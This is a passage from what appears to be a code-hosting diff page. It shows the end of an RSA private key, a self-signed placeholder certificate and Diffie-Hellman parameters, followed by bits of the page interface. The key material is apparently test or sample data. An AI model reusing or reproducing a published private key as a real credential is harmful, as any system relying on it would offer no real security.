|
||||
ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
|
||||
hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
|
||||
-----END RSA PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
|
||||
VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
|
||||
cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
|
||||
A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
|
||||
IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
|
||||
AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
|
||||
akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
|
||||
kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
|
||||
kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
|
||||
N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
|
||||
uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
|
||||
oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
|
||||
plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
|
||||
P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
|
||||
W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
|
||||
5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
|
||||
SEGI4JSxV56lYg==
|
||||
-----END CERTIFICATE-----
|
||||
-----BEGIN DH PARAMETERS-----
|
||||
MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
|
||||
6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
|
||||
-----END DH PARAMETERS-----
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 1.1 KiB |
Reference in new issue
Block a user